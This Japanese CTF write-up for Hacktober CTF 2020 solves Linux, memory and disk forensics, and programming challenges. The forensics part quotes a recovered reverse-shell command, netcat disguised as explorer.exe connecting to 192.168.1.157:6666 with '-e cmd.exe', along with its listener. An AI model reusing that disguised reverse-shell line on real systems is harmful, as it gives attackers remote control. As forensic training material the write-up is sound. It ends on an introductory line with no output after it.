この大会は2020/10/16 23:00(JST)～2020/10/18 11:00(JST)に開催されました。
今回もチームで参戦。結果は4785点で1073チーム中43位でした。
自分で解けた問題をWriteupとして書いておきます。
Rules 1 (Start 0)
問題にフラグが書いてあった。
flag{pl4y_by_th3_ru13s}
Talking to the Dead 1 (Linux 30)
$ ssh hacktober@env.hacktober.io The authenticity of host 'env.hacktober.io (164.90.151.191)' can't be established. ECDSA key fingerprint is SHA256:28XgvNOKrN95NgfWARVy2os+YCz6Cy5e45t1dRO9H/o. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'env.hacktober.io,164.90.151.191' (ECDSA) to the list of known hosts. hacktober@env.hacktober.io's password: Last login: Fri Oct 16 23:21:31 2020 from 109.252.109.150 luciafer@f94ac3514166:/$ find / -name flag1.txt find: '/etc/ssl/private': Permission denied /home/luciafer/Documents/flag1.txt find: '/home/spookyboi/.ssh': Permission denied find: '/proc/tty/driver': Permission denied find: '/var/log/private': Permission denied find: '/var/cache/ldconfig': Permission denied find: '/var/cache/apt/archives/partial': Permission denied find: '/var/cache/private': Permission denied find: '/var/lib/apt/lists/partial': Permission denied find: '/var/lib/private': Permission denied find: '/root/.local/share': Permission denied luciafer@f94ac3514166:/$ cat /home/luciafer/Documents/flag1.txt flag{cb07e9d6086d50ee11c0d968f1e5c4bf1c89418c}
flag{cb07e9d6086d50ee11c0d968f1e5c4bf1c89418c}
Talking to the Dead 2 (Linux 30)
luciafer@f94ac3514166:/$ cd ~ luciafer@f94ac3514166:~$ ls -lRa .: total 48 drwxr-xr-x 1 luciafer luciafer 4096 Oct 5 14:54 . drwxr-xr-x 1 root root 4096 Oct 5 15:05 .. -rw------- 1 luciafer luciafer 1 Oct 6 11:24 .bash_history -rw-r--r-- 1 luciafer luciafer 220 Oct 5 14:50 .bash_logout -rw-r--r-- 1 luciafer luciafer 3771 Oct 5 14:50 .bashrc -rw-r--r-- 1 luciafer luciafer 807 Oct 5 14:50 .profile drwxrwxr-x 1 luciafer luciafer 4096 Oct 6 08:36 Documents drwxrwxr-x 2 luciafer luciafer 4096 Oct 5 14:54 Downloads drwxrwxr-x 2 luciafer luciafer 4096 Oct 5 14:54 Pictures drwxrwxr-x 2 luciafer luciafer 4096 Oct 5 14:54 Videos ./Documents: total 20 drwxrwxr-x 1 luciafer luciafer 4096 Oct 6 08:36 . drwxr-xr-x 1 luciafer luciafer 4096 Oct 5 14:54 .. -rw-rw-r-- 1 luciafer luciafer 47 Oct 6 08:36 .flag2.txt -rw-rw-r-- 1 luciafer luciafer 47 Oct 5 14:55 flag1.txt ./Downloads: total 12 drwxrwxr-x 2 luciafer luciafer 4096 Oct 5 14:54 . drwxr-xr-x 1 luciafer luciafer 4096 Oct 5 14:54 .. ./Pictures: total 12 drwxrwxr-x 2 luciafer luciafer 4096 Oct 5 14:54 . drwxr-xr-x 1 luciafer luciafer 4096 Oct 5 14:54 .. ./Videos: total 12 drwxrwxr-x 2 luciafer luciafer 4096 Oct 5 14:54 . luciafer@f94ac3514166:~$ cat ./Documents/.flag2.txt flag{728ec98bfaa302b2dfc2f716d3de7869f3eadcbf}
flag{728ec98bfaa302b2dfc2f716d3de7869f3eadcbf}
Captured Memories (Forensics 30)
メモリダンプのキャプチャに使われたプログラムのPIDを答える。
$ volatility -f mem.raw imageinfo Volatility Foundation Volatility Framework 2.6 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win10x64_10586, Win10x64_14393, Win10x64, Win2016x64_14393, Win10x64_15063 (Instantiated with Win10x64_15063) AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/mnt/hgfs/Shared/work/mem.raw) PAE type : No PAE DTB : 0x1aa000L KDBG : 0xf8001e43d520L Number of Processors : 2 Image Type (Service Pack) : 0 KPCR for CPU 0 : 0xfffff8001d4e2000L KPCR for CPU 1 : 0xffffd40032268000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2020-06-26 15:51:36 UTC+0000 Image local date and time : 2020-06-26 08:51:36 -0700 $ volatility -f mem.raw --profile=Win10x64_15063 pstree Volatility Foundation Volatility Framework 2.6 Name Pid PPid Thds Hnds Time -------------------------------------------------- ------ ------ ------ ------ ---- 0xffff87868e88d440:System 4 0 111 0 2020-06-26 15:07:32 UTC+0000 . 0xffff878690147040:smss.exe 348 4 2 0 2020-06-26 15:07:32 UTC+0000 . 0xffff87868e975040:Registry 88 4 3 0 2020-06-26 15:07:23 UTC+0000 . 0xffff878690ccc040:MemCompression 1168 4 50 0 2020-06-26 15:07:58 UTC+0000 0xffff878690495080:wininit.exe 528 424 1 0 2020-06-26 15:07:45 UTC+0000 . 0xffff8786904cd080:services.exe 648 528 6 0 2020-06-26 15:07:46 UTC+0000 .. 0xffff8786914d2580:TrustedInstall 2572 648 5 0 2020-06-26 15:43:20 UTC+0000 .. 0xffff878690c8d580:svchost.exe 1052 648 18 0 2020-06-26 15:07:58 UTC+0000 .. 0xffff878690c2d580:svchost.exe 60 648 64 0 2020-06-26 15:07:56 UTC+0000 ... 0xffff8786909b0580:sihost.exe 2672 60 15 0 2020-06-26 15:08:51 UTC+0000 ... 0xffff87868fa02580:wuauclt.exe 5288 60 7 0 2020-06-26 15:43:18 UTC+0000 ... 0xffff8786909e1580:taskhostw.exe 2764 60 10 0 2020-06-26 15:08:52 UTC+0000 ... 0xffff87869038d580:taskhostw.exe 656 60 8 0 2020-06-26 15:48:06 UTC+0000 .. 0xffff878690cae580:svchost.exe 1092 648 24 0 2020-06-26 15:07:58 UTC+0000 .. 0xffff878690a07580:svchost.exe 2144 648 2 0 2020-06-26 15:08:16 UTC+0000 .. 0xffff87868f821080:SgrmBroker.exe 6756 648 2 0 2020-06-26 15:10:41 UTC+0000 .. 0xffff878690fdd400:SecurityHealth 1900 648 12 0 2020-06-26 15:08:04 UTC+0000 .. 0xffff87868f3804c0:svchost.exe 4804 648 9 0 2020-06-26 15:33:05 UTC+0000 .. 0xffff8786903bf580:svchost.exe 1248 648 8 0 2020-06-26 15:07:59 UTC+0000 .. 0xffff878691216580:svchost.exe 1268 648 13 0 2020-06-26 15:08:14 UTC+0000 .. 0xffff878690e87580:spoolsv.exe 1408 648 10 0 2020-06-26 15:08:00 UTC+0000 .. 0xffff878690d12580:svchost.exe 1284 648 21 0 2020-06-26 15:07:59 UTC+0000 .. 0xffff878690dc7580:svchost.exe 1320 648 8 0 2020-06-26 15:07:59 UTC+0000 .. 0xffff87869150c580:sedsvc.exe 3040 648 5 0 2020-06-26 15:17:18 UTC+0000 .. 0xffff878690fbe580:svchost.exe 1860 648 13 0 2020-06-26 15:08:04 UTC+0000 .. 0xffff878690fcd580:MsMpEng.exe 1884 648 10 0 2020-06-26 15:08:04 UTC+0000 .. 0xffff87868ede8580:SearchIndexer. 4448 648 23 0 2020-06-26 15:09:31 UTC+0000 ... 0xffff87868ec27080:cmd.exe 6844 4448 0 ------ 2020-06-26 15:44:35 UTC+0000 ... 0xffff878690744380:SearchProtocol 4396 4448 0 ------ 2020-06-26 15:50:01 UTC+0000 ... 0xffff87868f082580:SearchFilterHo 4432 4448 4 0 2020-06-26 15:50:01 UTC+0000 ... 0xffff878691456080:cmd.exe 3944 4448 0 ------ 2020-06-26 15:37:19 UTC+0000 .... 0xffff87868fd63580:conhost.exe 5432 3944 4 0 2020-06-26 15:37:19 UTC+0000 .... 0xffff878691762080:explorer.exe 5448 3944 1 0 2020-06-26 15:43:14 UTC+0000 ... 0xffff878691457580:cmd.exe 4424 4448 1 0 2020-06-26 15:46:51 UTC+0000 .... 0xffff87868f773080:explorer.exe 3100 4424 5 0 2020-06-26 15:48:21 UTC+0000 ..... 0xffff87868f77b340:cmd.exe 4640 3100 1 0 2020-06-26 15:48:21 UTC+0000 .... 0xffff87868f998080:conhost.exe 6372 4424 3 0 2020-06-26 15:46:51 UTC+0000 .. 0xffff87868ed40580:svchost.exe 4976 648 3 0 2020-06-26 15:48:59 UTC+0000 .. 0xffff878690b71580:svchost.exe 884 648 25 0 2020-06-26 15:07:53 UTC+0000 .. 0xffff878690bbd580:svchost.exe 384 648 14 0 2020-06-26 15:07:56 UTC+0000 ... 0xffff8786913c2080:ctfmon.exe 2956 384 9 0 2020-06-26 15:08:55 UTC+0000 .. 0xffff878690e93580:svchost.exe 1416 648 25 0 2020-06-26 15:08:00 UTC+0000 .. 0xffff8786909c9580:svchost.exe 2712 648 22 0 2020-06-26 15:08:52 UTC+0000 .. 0xffff8786904cc580:svchost.exe 764 648 31 0 2020-06-26 15:07:50 UTC+0000 ... 0xffff87868ece5580:ApplicationFra 4104 764 11 0 2020-06-26 15:09:30 UTC+0000 ... 0xffff87868fb16340:smartscreen.ex 1048 764 15 0 2020-06-26 15:48:37 UTC+0000 ... 0xffff87868edc2580:RuntimeBroker. 5680 764 6 0 2020-06-26 15:09:46 UTC+0000 ... 0xffff87868efaf080:MicrosoftEdge. 4660 764 0 ------ 2020-06-26 15:09:32 UTC+0000 ... 0xffff87868f008080:RuntimeBroker. 3936 764 0 ------ 2020-06-26 15:09:37 UTC+0000 ... 0xffff878691056580:HxOutlook.exe 4688 764 24 0 2020-06-26 15:32:47 UTC+0000 ... 0xffff87868f9a6580:Microsoft.Phot 4724 764 14 0 2020-06-26 15:20:49 UTC+0000 ... 0xffff8786900eb080:ShellExperienc 3708 764 24 0 2020-06-26 15:09:18 UTC+0000 ... 0xffff878691080580:HxTsr.exe 5172 764 14 0 2020-06-26 15:31:30 UTC+0000 ... 0xffff878690969580:RuntimeBroker. 4064 764 6 0 2020-06-26 15:09:23 UTC+0000 ... 0xffff87868ed21080:WmiPrvSE.exe 3304 764 9 0 2020-06-26 15:12:07 UTC+0000 ... 0xffff87868f10a080:backgroundTask 1276 764 0 ------ 2020-06-26 15:32:50 UTC+0000 ... 0xffff87868ede9080:SkypeApp.exe 5896 764 23 0 2020-06-26 15:21:02 UTC+0000 ... 0xffff8786916b2580:dllhost.exe 6432 764 7 0 2020-06-26 15:10:15 UTC+0000 ... 0xffff8786909da580:RuntimeBroker. 3436 764 3 0 2020-06-26 15:10:04 UTC+0000 ... 0xffff87868f29d380:SkypeBackgroun 376 764 4 0 2020-06-26 15:38:06 UTC+0000 ... 0xffff878691219080:TiWorker.exe 2796 764 4 0 2020-06-26 15:43:20 UTC+0000 ... 0xffff87868ef10580:RuntimeBroker. 4504 764 8 0 2020-06-26 15:09:31 UTC+0000 ... 0xffff87868fd65580:dllhost.exe 3520 764 7 0 2020-06-26 15:09:16 UTC+0000 ... 0xffff8786901a0080:SearchUI.exe 4052 764 50 0 2020-06-26 15:09:23 UTC+0000 ... 0xffff87868ee50580:RuntimeBroker. 2528 764 11 0 2020-06-26 15:09:29 UTC+0000 ... 0xffff87868f826080:HxOutlook.exe 7160 764 0 ------ 2020-06-26 15:31:23 UTC+0000 .. 0xffff878690dc3580:svchost.exe 1312 648 5 0 2020-06-26 15:07:59 UTC+0000 . 0xffff8786904fb080:lsass.exe 664 528 9 0 2020-06-26 15:07:47 UTC+0000 . 0xffff8786904d1580:fontdrvhost.ex 792 528 5 0 2020-06-26 15:07:50 UTC+0000 0xffff878690722080:csrss.exe 436 424 10 0 2020-06-26 15:07:43 UTC+0000 0xffff87869049c580:winlogon.exe 564 500 5 0 2020-06-26 15:07:45 UTC+0000 . 0xffff878690ac5580:fontdrvhost.ex 800 564 5 0 2020-06-26 15:07:50 UTC+0000 . 0xffff87869141c2c0:userinit.exe 2184 564 0 ------ 2020-06-26 15:08:57 UTC+0000 .. 0xffff8786913f9580:explorer.exe 2316 2184 93 0 2020-06-26 15:08:57 UTC+0000 ... 0xffff87868fb57580:cmd.exe 3180 2316 0 ------ 2020-06-26 15:19:51 UTC+0000 ... 0xffff87868f1d2080:cmd.exe 6080 2316 0 ------ 2020-06-26 15:09:54 UTC+0000 ... 0xffff87868fd7a580:chrmstp.exe 3256 2316 0 ------ 2020-06-26 15:09:13 UTC+0000 ... 0xffff87868f399080:chrome.exe 5872 2316 32 0 2020-06-26 15:34:25 UTC+0000 .... 0xffff8786914bb580:chrome.exe 5736 5872 13 0 2020-06-26 15:34:25 UTC+0000 .... 0xffff8786913b7580:chrome.exe 3432 5872 13 0 2020-06-26 15:51:01 UTC+0000 .... 0xffff87869030e080:chrome.exe 4828 5872 11 0 2020-06-26 15:51:04 UTC+0000 .... 0xffff87868ebef080:chrome.exe 2512 5872 21 0 2020-06-26 15:51:06 UTC+0000 .... 0xffff878691535580:chrome.exe 4940 5872 10 0 2020-06-26 15:34:25 UTC+0000 .... 0xffff87868f26c580:chrome.exe 3140 5872 16 0 2020-06-26 15:51:03 UTC+0000 .... 0xffff87868f047080:chrome.exe 6044 5872 6 0 2020-06-26 15:51:05 UTC+0000 .... 0xffff87868fb1f080:chrome.exe 7088 5872 9 0 2020-06-26 15:34:25 UTC+0000 .... 0xffff87868faef580:chrome.exe 5876 5872 13 0 2020-06-26 15:51:03 UTC+0000 .... 0xffff8786916713c0:chrome.exe 7108 5872 13 0 2020-06-26 15:34:35 UTC+0000 ... 0xffff87868f150580:MSASCuiL.exe 5928 2316 3 0 2020-06-26 15:09:52 UTC+0000 ... 0xffff87868f81d080:cmd.exe 784 2316 1 0 2020-06-26 15:48:50 UTC+0000 .... 0xffff878691422080:conhost.exe 3480 784 5 0 2020-06-26 15:48:50 UTC+0000 .... 0xffff87868f2e1080:winpmem_v3.3.r 3348 784 5 0 2020-06-26 15:51:36 UTC+0000 ... 0xffff87868ec71080:av-20200624193 6880 2316 0 ------ 2020-06-26 15:36:10 UTC+0000 ... 0xffff8786909e5080:OneDrive.exe 6032 2316 20 0 2020-06-26 15:09:53 UTC+0000 ... 0xffff87868f1d5580:cmd.exe 6072 2316 0 ------ 2020-06-26 15:09:54 UTC+0000 ... 0xffff87868f1cc580:explorer.exe 6096 2316 0 ------ 2020-06-26 15:09:54 UTC+0000 ... 0xffff878690466080:chrome.exe 6628 2316 0 ------ 2020-06-26 15:31:56 UTC+0000 . 0xffff878690c07080:dwm.exe 968 564 13 0 2020-06-26 15:07:55 UTC+0000 0xffff878690472280:csrss.exe 508 500 12 0 2020-06-26 15:07:45 UTC+0000 0xffff878691061580:GoogleCrashHan 4332 2776 5 0 2020-06-26 15:10:38 UTC+0000 0xffff8786910be080:GoogleCrashHan 5936 2776 3 0 2020-06-26 15:10:38 UTC+0000
winpmemがメモリダンプを取得していると思われる。PIDは3348。
flag{3348}
AmCaching In (Forensics 50)
\%SystemRoot%\AppCompat\Programs\Amcache.hveにユーザ"mpowers"によってインストールされたプログラム名を答える。
RegRipperで以下のプラグインを使う。
https://github.com/chaoticmachinery/mass_triage_tools/tree/master/regripper_plugins
>rip -p amcache_tln -r Amcache.hve | findstr mpowers
Launching amcache_tln v.20180311
Parsing: Amcache.hve
|1970-00-01 00:00:00|AmCache_InventoryApplication||||Key LastWrite|c:\users\mpowers\appdata\local\temp\d930e9b6-7d1b-4a5d-804e-ce667e431ff9\dismhost.exe|2b8780eaf56baa53f53649bcffc10d9cc2e14a36|Amcache.hve
|1970-00-01 00:00:00|AmCache_InventoryApplication||||Key LastWrite|c:\users\mpowers\desktop\ftk imager\ftk imager.exe|b14898ecf28a3e131dc36fc39168f6ee9dc75d78|Amcache.hve
|1970-00-01 00:00:00|AmCache_InventoryApplication||||Key LastWrite|c:\users\mpowers\downloads\python-3.7.0-amd64-webinstall.exe|5e774c390146ef62fa64ff83fd3143699711e948|Amcache.hve
|1970-00-01 00:00:00|AmCache_InventoryApplication||||Key LastWrite|c:\users\mpowers\appdata\local\temp\4\{b04d01b2-0174-4ef5-8fb5-84584c0964f5}\.be\python-3.7.0-amd64-webinstall.exe|2d64d4af1f91189e1cb568df2f6dcbf4414702ff|Amcache.hve
|1970-00-01 00:00:00|AmCache_InventoryApplication||||Key LastWrite|c:\users\mpowers\appdata\local\temp\4\{4a1d9cda-5382-4f04-b44d-51927f9c602a}\.cr\python-3.7.0-amd64-webinstall.exe|2d64d4af1f91189e1cb568df2f6dcbf4414702ff|Amcache.hve
|1970-00-01 00:00:00|AmCache_InventoryApplication||||Key LastWrite|c:\users\mpowers\desktop\sub-win-x64_104.148.109.124_5682_3262.exe|4acc66f0869d5e59802961bee0f1bea38bad6fdf|Amcache.hvepython 3.7.0をインストールしている。
flag{python}
Prefetch Perfection (Forensics 50)
IEが実行された時刻を答える。
WinPrefetchViewで[Options]-[Advanced Options]からprefetchフォルダを指定して確認する。時刻はローカルタイム（日本時間）なので、[Options]-[Show Time In GMT]を選択し、GMTにする。
IEのLast Run Timeは 2017/05/01 21:11:41。
flag{2017-05-01 21:11:41}
Prefetch Perfection 2 (Forensics 100)
cmaldanadoのクッキーを使うプロセスを答える。
https://github.com/PoorBillionaire/Windows-Prefetch-Parser/blob/master/windowsprefetch/prefetch.pyを使う。
$ python prefetch.py -d prefetch/ > output.txt
output.txtでcmaldanadoのcookieを検索
：
=========================
DLLHOST.EXE-6202E8F2.pf
=========================
Executable Name: DLLHOST.EXE
Run count: 1
Last Executed: 2017-04-27 17:54:07.476636
Volume Information:
Volume Name: \DEVICE\HARDDISKVOLUME1
Creation Date: 2017-04-26 06:17:23.091272
Serial Number: 46ca3ac8
Directory Strings:
：
Resources loaded:
：
50: \DEVICE\HARDDISKVOLUME1\USERS\CMALDONADO\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\LOW\CMALDONADO@WWW.MSN[1].TXT
：
||
>|
<b>flag{dllhost.exe}</b>
|<
* Commands (Forensics 100)
不審なexplorer.exeの実行をオプション付きで答える。
>|sh|
$ volatility -f mem.raw --profile=Win10x64_15063 cmdline | grep explorer
Volatility Foundation Volatility Framework 2.6
explorer.exe pid: 2316
explorer.exe pid: 6096
explorer.exe pid: 5448
Command line : explorer.exe -lnvp 6666
explorer.exe pid: 3100
Command line : explorer.exe 192.168.1.157 6666 -e cmd.exe
flag{explorer.exe 192.168.1.157 6666 -e cmd.exe}
Evil Twin (Forensics 150)
$ volatility -f mem.raw --profile=Win10x64_15063 pstree Volatility Foundation Volatility Framework 2.6 Name Pid PPid Thds Hnds Time -------------------------------------------------- ------ ------ ------ ------ ---- 0xffff87868e88d440:System 4 0 111 0 2020-06-26 15:07:32 UTC+0000 . 0xffff878690147040:smss.exe 348 4 2 0 2020-06-26 15:07:32 UTC+0000 . 0xffff87868e975040:Registry 88 4 3 0 2020-06-26 15:07:23 UTC+0000 . 0xffff878690ccc040:MemCompression 1168 4 50 0 2020-06-26 15:07:58 UTC+0000 0xffff878690495080:wininit.exe 528 424 1 0 2020-06-26 15:07:45 UTC+0000 . 0xffff8786904cd080:services.exe 648 528 6 0 2020-06-26 15:07:46 UTC+0000 .. 0xffff8786914d2580:TrustedInstall 2572 648 5 0 2020-06-26 15:43:20 UTC+0000 .. 0xffff878690c8d580:svchost.exe 1052 648 18 0 2020-06-26 15:07:58 UTC+0000 .. 0xffff878690c2d580:svchost.exe 60 648 64 0 2020-06-26 15:07:56 UTC+0000 ... 0xffff8786909b0580:sihost.exe 2672 60 15 0 2020-06-26 15:08:51 UTC+0000 ... 0xffff87868fa02580:wuauclt.exe 5288 60 7 0 2020-06-26 15:43:18 UTC+0000 ... 0xffff8786909e1580:taskhostw.exe 2764 60 10 0 2020-06-26 15:08:52 UTC+0000 ... 0xffff87869038d580:taskhostw.exe 656 60 8 0 2020-06-26 15:48:06 UTC+0000 .. 0xffff878690cae580:svchost.exe 1092 648 24 0 2020-06-26 15:07:58 UTC+0000 .. 0xffff878690a07580:svchost.exe 2144 648 2 0 2020-06-26 15:08:16 UTC+0000 .. 0xffff87868f821080:SgrmBroker.exe 6756 648 2 0 2020-06-26 15:10:41 UTC+0000 .. 0xffff878690fdd400:SecurityHealth 1900 648 12 0 2020-06-26 15:08:04 UTC+0000 .. 0xffff87868f3804c0:svchost.exe 4804 648 9 0 2020-06-26 15:33:05 UTC+0000 .. 0xffff8786903bf580:svchost.exe 1248 648 8 0 2020-06-26 15:07:59 UTC+0000 .. 0xffff878691216580:svchost.exe 1268 648 13 0 2020-06-26 15:08:14 UTC+0000 .. 0xffff878690e87580:spoolsv.exe 1408 648 10 0 2020-06-26 15:08:00 UTC+0000 .. 0xffff878690d12580:svchost.exe 1284 648 21 0 2020-06-26 15:07:59 UTC+0000 .. 0xffff878690dc7580:svchost.exe 1320 648 8 0 2020-06-26 15:07:59 UTC+0000 .. 0xffff87869150c580:sedsvc.exe 3040 648 5 0 2020-06-26 15:17:18 UTC+0000 .. 0xffff878690fbe580:svchost.exe 1860 648 13 0 2020-06-26 15:08:04 UTC+0000 .. 0xffff878690fcd580:MsMpEng.exe 1884 648 10 0 2020-06-26 15:08:04 UTC+0000 .. 0xffff87868ede8580:SearchIndexer. 4448 648 23 0 2020-06-26 15:09:31 UTC+0000 ... 0xffff87868ec27080:cmd.exe 6844 4448 0 ------ 2020-06-26 15:44:35 UTC+0000 ... 0xffff878690744380:SearchProtocol 4396 4448 0 ------ 2020-06-26 15:50:01 UTC+0000 ... 0xffff87868f082580:SearchFilterHo 4432 4448 4 0 2020-06-26 15:50:01 UTC+0000 ... 0xffff878691456080:cmd.exe 3944 4448 0 ------ 2020-06-26 15:37:19 UTC+0000 .... 0xffff87868fd63580:conhost.exe 5432 3944 4 0 2020-06-26 15:37:19 UTC+0000 .... 0xffff878691762080:explorer.exe 5448 3944 1 0 2020-06-26 15:43:14 UTC+0000 ... 0xffff878691457580:cmd.exe 4424 4448 1 0 2020-06-26 15:46:51 UTC+0000 .... 0xffff87868f773080:explorer.exe 3100 4424 5 0 2020-06-26 15:48:21 UTC+0000 ..... 0xffff87868f77b340:cmd.exe 4640 3100 1 0 2020-06-26 15:48:21 UTC+0000 .... 0xffff87868f998080:conhost.exe 6372 4424 3 0 2020-06-26 15:46:51 UTC+0000 .. 0xffff87868ed40580:svchost.exe 4976 648 3 0 2020-06-26 15:48:59 UTC+0000 .. 0xffff878690b71580:svchost.exe 884 648 25 0 2020-06-26 15:07:53 UTC+0000 .. 0xffff878690bbd580:svchost.exe 384 648 14 0 2020-06-26 15:07:56 UTC+0000 ... 0xffff8786913c2080:ctfmon.exe 2956 384 9 0 2020-06-26 15:08:55 UTC+0000 .. 0xffff878690e93580:svchost.exe 1416 648 25 0 2020-06-26 15:08:00 UTC+0000 .. 0xffff8786909c9580:svchost.exe 2712 648 22 0 2020-06-26 15:08:52 UTC+0000 .. 0xffff8786904cc580:svchost.exe 764 648 31 0 2020-06-26 15:07:50 UTC+0000 ... 0xffff87868ece5580:ApplicationFra 4104 764 11 0 2020-06-26 15:09:30 UTC+0000 ... 0xffff87868fb16340:smartscreen.ex 1048 764 15 0 2020-06-26 15:48:37 UTC+0000 ... 0xffff87868edc2580:RuntimeBroker. 5680 764 6 0 2020-06-26 15:09:46 UTC+0000 ... 0xffff87868efaf080:MicrosoftEdge. 4660 764 0 ------ 2020-06-26 15:09:32 UTC+0000 ... 0xffff87868f008080:RuntimeBroker. 3936 764 0 ------ 2020-06-26 15:09:37 UTC+0000 ... 0xffff878691056580:HxOutlook.exe 4688 764 24 0 2020-06-26 15:32:47 UTC+0000 ... 0xffff87868f9a6580:Microsoft.Phot 4724 764 14 0 2020-06-26 15:20:49 UTC+0000 ... 0xffff8786900eb080:ShellExperienc 3708 764 24 0 2020-06-26 15:09:18 UTC+0000 ... 0xffff878691080580:HxTsr.exe 5172 764 14 0 2020-06-26 15:31:30 UTC+0000 ... 0xffff878690969580:RuntimeBroker. 4064 764 6 0 2020-06-26 15:09:23 UTC+0000 ... 0xffff87868ed21080:WmiPrvSE.exe 3304 764 9 0 2020-06-26 15:12:07 UTC+0000 ... 0xffff87868f10a080:backgroundTask 1276 764 0 ------ 2020-06-26 15:32:50 UTC+0000 ... 0xffff87868ede9080:SkypeApp.exe 5896 764 23 0 2020-06-26 15:21:02 UTC+0000 ... 0xffff8786916b2580:dllhost.exe 6432 764 7 0 2020-06-26 15:10:15 UTC+0000 ... 0xffff8786909da580:RuntimeBroker. 3436 764 3 0 2020-06-26 15:10:04 UTC+0000 ... 0xffff87868f29d380:SkypeBackgroun 376 764 4 0 2020-06-26 15:38:06 UTC+0000 ... 0xffff878691219080:TiWorker.exe 2796 764 4 0 2020-06-26 15:43:20 UTC+0000 ... 0xffff87868ef10580:RuntimeBroker. 4504 764 8 0 2020-06-26 15:09:31 UTC+0000 ... 0xffff87868fd65580:dllhost.exe 3520 764 7 0 2020-06-26 15:09:16 UTC+0000 ... 0xffff8786901a0080:SearchUI.exe 4052 764 50 0 2020-06-26 15:09:23 UTC+0000 ... 0xffff87868ee50580:RuntimeBroker. 2528 764 11 0 2020-06-26 15:09:29 UTC+0000 ... 0xffff87868f826080:HxOutlook.exe 7160 764 0 ------ 2020-06-26 15:31:23 UTC+0000 .. 0xffff878690dc3580:svchost.exe 1312 648 5 0 2020-06-26 15:07:59 UTC+0000 . 0xffff8786904fb080:lsass.exe 664 528 9 0 2020-06-26 15:07:47 UTC+0000 . 0xffff8786904d1580:fontdrvhost.ex 792 528 5 0 2020-06-26 15:07:50 UTC+0000 0xffff878690722080:csrss.exe 436 424 10 0 2020-06-26 15:07:43 UTC+0000 0xffff87869049c580:winlogon.exe 564 500 5 0 2020-06-26 15:07:45 UTC+0000 . 0xffff878690ac5580:fontdrvhost.ex 800 564 5 0 2020-06-26 15:07:50 UTC+0000 . 0xffff87869141c2c0:userinit.exe 2184 564 0 ------ 2020-06-26 15:08:57 UTC+0000 .. 0xffff8786913f9580:explorer.exe 2316 2184 93 0 2020-06-26 15:08:57 UTC+0000 ... 0xffff87868fb57580:cmd.exe 3180 2316 0 ------ 2020-06-26 15:19:51 UTC+0000 ... 0xffff87868f1d2080:cmd.exe 6080 2316 0 ------ 2020-06-26 15:09:54 UTC+0000 ... 0xffff87868fd7a580:chrmstp.exe 3256 2316 0 ------ 2020-06-26 15:09:13 UTC+0000 ... 0xffff87868f399080:chrome.exe 5872 2316 32 0 2020-06-26 15:34:25 UTC+0000 .... 0xffff8786914bb580:chrome.exe 5736 5872 13 0 2020-06-26 15:34:25 UTC+0000 .... 0xffff8786913b7580:chrome.exe 3432 5872 13 0 2020-06-26 15:51:01 UTC+0000 .... 0xffff87869030e080:chrome.exe 4828 5872 11 0 2020-06-26 15:51:04 UTC+0000 .... 0xffff87868ebef080:chrome.exe 2512 5872 21 0 2020-06-26 15:51:06 UTC+0000 .... 0xffff878691535580:chrome.exe 4940 5872 10 0 2020-06-26 15:34:25 UTC+0000 .... 0xffff87868f26c580:chrome.exe 3140 5872 16 0 2020-06-26 15:51:03 UTC+0000 .... 0xffff87868f047080:chrome.exe 6044 5872 6 0 2020-06-26 15:51:05 UTC+0000 .... 0xffff87868fb1f080:chrome.exe 7088 5872 9 0 2020-06-26 15:34:25 UTC+0000 .... 0xffff87868faef580:chrome.exe 5876 5872 13 0 2020-06-26 15:51:03 UTC+0000 .... 0xffff8786916713c0:chrome.exe 7108 5872 13 0 2020-06-26 15:34:35 UTC+0000 ... 0xffff87868f150580:MSASCuiL.exe 5928 2316 3 0 2020-06-26 15:09:52 UTC+0000 ... 0xffff87868f81d080:cmd.exe 784 2316 1 0 2020-06-26 15:48:50 UTC+0000 .... 0xffff878691422080:conhost.exe 3480 784 5 0 2020-06-26 15:48:50 UTC+0000 .... 0xffff87868f2e1080:winpmem_v3.3.r 3348 784 5 0 2020-06-26 15:51:36 UTC+0000 ... 0xffff87868ec71080:av-20200624193 6880 2316 0 ------ 2020-06-26 15:36:10 UTC+0000 ... 0xffff8786909e5080:OneDrive.exe 6032 2316 20 0 2020-06-26 15:09:53 UTC+0000 ... 0xffff87868f1d5580:cmd.exe 6072 2316 0 ------ 2020-06-26 15:09:54 UTC+0000 ... 0xffff87868f1cc580:explorer.exe 6096 2316 0 ------ 2020-06-26 15:09:54 UTC+0000 ... 0xffff878690466080:chrome.exe 6628 2316 0 ------ 2020-06-26 15:31:56 UTC+0000 . 0xffff878690c07080:dwm.exe 968 564 13 0 2020-06-26 15:07:55 UTC+0000 0xffff878690472280:csrss.exe 508 500 12 0 2020-06-26 15:07:45 UTC+0000 0xffff878691061580:GoogleCrashHan 4332 2776 5 0 2020-06-26 15:10:38 UTC+0000 0xffff8786910be080:GoogleCrashHan 5936 2776 3 0 2020-06-26 15:10:38 UTC+0000
cmd.exeの下にexplorer.exeがある。
flag{explorer.exe}
Haunted Mirror (Programming 125)
$ upx -d mirror Ultimate Packer for eXecutables Copyright (C) 1996 - 2017 UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017 File size Ratio Format Name -------------------- ------ ----------- ----------- 768464 <- 303916 39.55% linux/amd64 mirror Unpacked 1 file. $ strings mirror ： XQwG1PhUqJ9A&5v Hello, stranger. I'm trapped behind your screen. Type any word and I'll write it back to you from the other side. Say the right word, and I'll tell you a secret. flag{ xeon_phi ：
flag{XQwG1PhUqJ9A&5v}
Stairway to Hell (Programming 250)
階段上にしたものを改行はスペースに変えて送信する必要がある。
import socket from rstr import xeger def recvuntil(s, tails): data = '' while True: for tail in tails: if tail in data: return data data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('env2.hacktober.io', 5001)) data = recvuntil(s, '\n').rstrip() print data data = recvuntil(s, '\n').rstrip() print data num = 666 row = '' for i in range(1, 31): for j in range(i): row += str(num) + ' ' num += 1 row = row[:-1] print row s.sendall(row + '\n') data = recvuntil(s, '\n').rstrip() print data data = recvuntil(s, '\n').rstrip() print data
実行結果は以下の通り。
